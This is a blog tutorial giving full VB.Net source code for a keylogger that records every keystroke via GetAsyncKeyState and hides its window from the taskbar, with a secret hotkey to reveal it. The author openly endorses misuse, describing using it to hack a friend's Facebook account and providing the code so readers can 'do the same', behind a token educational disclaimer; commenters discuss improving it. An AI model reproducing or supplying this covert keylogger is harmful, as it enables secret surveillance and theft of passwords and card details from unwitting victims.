How to Make a Keylogger in VB.Net?

In this article we are going to develop our own
Hacking Program. This article is on how to make a keylogger in vb.net. First of all lets take a look on what a keylogger is.

What is a Keylogger?

Keylogger is a program that records every keyboard keys
pressed by a computer user. It is mostly used by hackers to steal confidential
information like password, credit card credentials, etc.
Note: This article
is only for educational purpose. I am not responsible for anything you do illegal with this program.

Also Read: How to Make a Tic Tac Toe Game in VB.Net

So apart from hacking credit card credentials I usually used
keylogger to hack my friend’s facebook account. That’s why I have given you the source code so that you can
also do the same. Visit below link for keylogger free download.

– Keylogger Free Download –

How to Make a Keylogger in VB.Net?

How to Make a Keylogger in VB.Net

1. So lets begin with designing the GUI (Graphical User
Interface). First of all open Visual Studio & create a new project.
2. Now add 3 Buttons from Toolbox and name them Start, Stop
& Hide. Start button will help us to start recording the keystrokes pressed. Stop will help us to stop recording the keystrokes and the best one is Hide, it will help us to make our
keylogger invisible (it will run in background).
3. Now add a RichTextBox – This will help us to display the
recorded Keystrokes.
4. Add a timer and set its interval to 170 (Don’t enable the
timer). Our GUI designing is completed, now we need to write our code.
5. Double click the form so that you can switch to code view, now clear all the code and paste the following code:
Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
    Public log As String
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
        Button1.Text = "Started !"
        Button2.Text = "Stop Recording"
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
        Button1.Text = "Start Recording"
        Button2.Text = "Stopped !"

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If (GetAsyncKeyState(65)) Then
            log = log + "A"
        ElseIf (GetAsyncKeyState(66)) Then
            log = log + "B"
        ElseIf (GetAsyncKeyState(67)) Then
            log = log + "C"
        ElseIf (GetAsyncKeyState(68)) Then
            log = log + "D"
        ElseIf (GetAsyncKeyState(69)) Then
            log = log + "E"
        ElseIf (GetAsyncKeyState(70)) Then
            log = log + "F"
        ElseIf (GetAsyncKeyState(71)) Then
            log = log + "G"
        ElseIf (GetAsyncKeyState(72)) Then
            log = log + "H"
        ElseIf (GetAsyncKeyState(73)) Then
            log = log + "I"
        ElseIf (GetAsyncKeyState(74)) Then
            log = log + "J"
        ElseIf (GetAsyncKeyState(75)) Then
            log = log + "K"
        ElseIf (GetAsyncKeyState(76)) Then
            log = log + "L"
        ElseIf (GetAsyncKeyState(77)) Then
            log = log + "M"
        ElseIf (GetAsyncKeyState(78)) Then
            log = log + "N"
        ElseIf (GetAsyncKeyState(79)) Then
            log = log + "O"
        ElseIf (GetAsyncKeyState(80)) Then
            log = log + "P"
        ElseIf (GetAsyncKeyState(81)) Then
            log = log + "Q"
        ElseIf (GetAsyncKeyState(82)) Then
            log = log + "R"
        ElseIf (GetAsyncKeyState(83)) Then
            log = log + "S"
        ElseIf (GetAsyncKeyState(84)) Then
            log = log + "T"
        ElseIf (GetAsyncKeyState(85)) Then
            log = log + "U"
        ElseIf (GetAsyncKeyState(86)) Then
            log = log + "V"
        ElseIf (GetAsyncKeyState(87)) Then
            log = log + "W"
        ElseIf (GetAsyncKeyState(88)) Then
            log = log + "X"
        ElseIf (GetAsyncKeyState(89)) Then
            log = log + "Y"
        ElseIf (GetAsyncKeyState(90)) Then
            log = log + "Z"
        ElseIf (GetAsyncKeyState(48)) Then
            log = log + "0"
        ElseIf (GetAsyncKeyState(49)) Then
            log = log + "1"
        ElseIf (GetAsyncKeyState(50)) Then
            log = log + "2"
        ElseIf (GetAsyncKeyState(51)) Then
            log = log + "3"
        ElseIf (GetAsyncKeyState(52)) Then
            log = log + "4"
        ElseIf (GetAsyncKeyState(53)) Then
            log = log + "5"
        ElseIf (GetAsyncKeyState(54)) Then
            log = log + "6"
        ElseIf (GetAsyncKeyState(55)) Then
            log = log + "7"
        ElseIf (GetAsyncKeyState(56)) Then
            log = log + "8"
        ElseIf (GetAsyncKeyState(57)) Then
            log = log + "9"
        ElseIf (GetAsyncKeyState(96)) Then
            log = log + "{Num0}"
        ElseIf (GetAsyncKeyState(97)) Then
            log = log + "{Num1}"
        ElseIf (GetAsyncKeyState(98)) Then
            log = log + "{Num2}"
        ElseIf (GetAsyncKeyState(99)) Then
            log = log + "{Num3}"
        ElseIf (GetAsyncKeyState(100)) Then
            log = log + "{Num4}"
        ElseIf (GetAsyncKeyState(101)) Then
            log = log + "{Num5}"
        ElseIf (GetAsyncKeyState(102)) Then
            log = log + "{Num6}"
        ElseIf (GetAsyncKeyState(103)) Then
            log = log + "{Num7}"
        ElseIf (GetAsyncKeyState(104)) Then
            log = log + "{Num8}"
        ElseIf (GetAsyncKeyState(105)) Then
            log = log + "{Num9}"
        ElseIf (GetAsyncKeyState(106)) Then
            log = log + "{Num*}"
        ElseIf (GetAsyncKeyState(107)) Then
            log = log + "{Num+}"
        ElseIf (GetAsyncKeyState(13)) Then
            log = log + "{Enter}"
        ElseIf (GetAsyncKeyState(109)) Then
            log = log + "{Num-}"
        ElseIf (GetAsyncKeyState(110)) Then
            log = log + "{Num.}"
        ElseIf (GetAsyncKeyState(111)) Then
            log = log + "{Num/}"
        ElseIf (GetAsyncKeyState(32)) Then
            log = log + " "
        ElseIf (GetAsyncKeyState(8)) Then
            log = log + "{Backspace}"
        ElseIf (GetAsyncKeyState(9)) Then
            log = log + "{Tab}"
        ElseIf (GetAsyncKeyState(16)) Then
            log = log + "{Shift}"
        ElseIf (GetAsyncKeyState(17)) Then
            log = log + "{Control}"
        ElseIf (GetAsyncKeyState(20)) Then
            log = log + "{Caps}"
        ElseIf (GetAsyncKeyState(27)) Then
            log = log + "{Esc}"
        ElseIf (GetAsyncKeyState(33)) Then
            log = log + "{PGup}"
        ElseIf (GetAsyncKeyState(34)) Then
            log = log + "{PGdn}"
        ElseIf (GetAsyncKeyState(35)) Then
            log = log + "{End}"
        ElseIf (GetAsyncKeyState(36)) Then
            log = log + "{Home}"
        ElseIf (GetAsyncKeyState(37)) Then
            log = log + "{LArrow}"
        ElseIf (GetAsyncKeyState(38)) Then
            log = log + "{UArrow}"
        ElseIf (GetAsyncKeyState(39)) Then
            log = log + "{RArrow}"
        ElseIf (GetAsyncKeyState(40)) Then
            log = log + "{DArrow}"
        ElseIf (GetAsyncKeyState(45)) Then
            log = log + "{Insert}"
        ElseIf (GetAsyncKeyState(46)) Then
            log = log + "{Del}"
        ElseIf (GetAsyncKeyState(144)) Then
            log = log + "{NumLock}"
        ElseIf (GetAsyncKeyState(188)) Then
            log = log + "{,}"
        End If
        RichTextBox1.Text = log
        Dim hotkey1 As Boolean
        hotkey1 = GetAsyncKeyState(Keys.K)
        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.ShiftKeyDown AndAlso hotkey1 Then
            Me.Visible = True
            Me.ShowInTaskbar = True
        End If
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        MsgBox("Press Ctrl+Shift+K to make keylogger visible !", MsgBoxStyle.Information)
        Me.Visible = "false"
        Me.ShowInTaskbar = "false"
    End Sub
End Class

Quick
Tip:
 If you are facing any error then make sure your form Name is Form1.

5 thoughts on “How to Make a Keylogger in VB.Net?”

  1. Thanks for the knowledge you shared. I appreciate your input but I noticed there’s a bug when I type keys faster. The keys are not in order and sometimes it produce wrong keys. What’s the problem?

  2. Doesn’t work for fast inputs or for scanners like barcode readers. You need to take the async key reading out of a timer and do your own debouncing by checking not just for change but keypress status, either pressed or not. An actually useful logger is far more complicated than this, looping to check each key that you want to log and pushing the output where you want it to go, but the introduction to getAsyncKeyState really is all you’d need to get a functional one working pretty quickly. Thanks for that.

Leave a Comment

Your email address will not be published. Required fields are marked *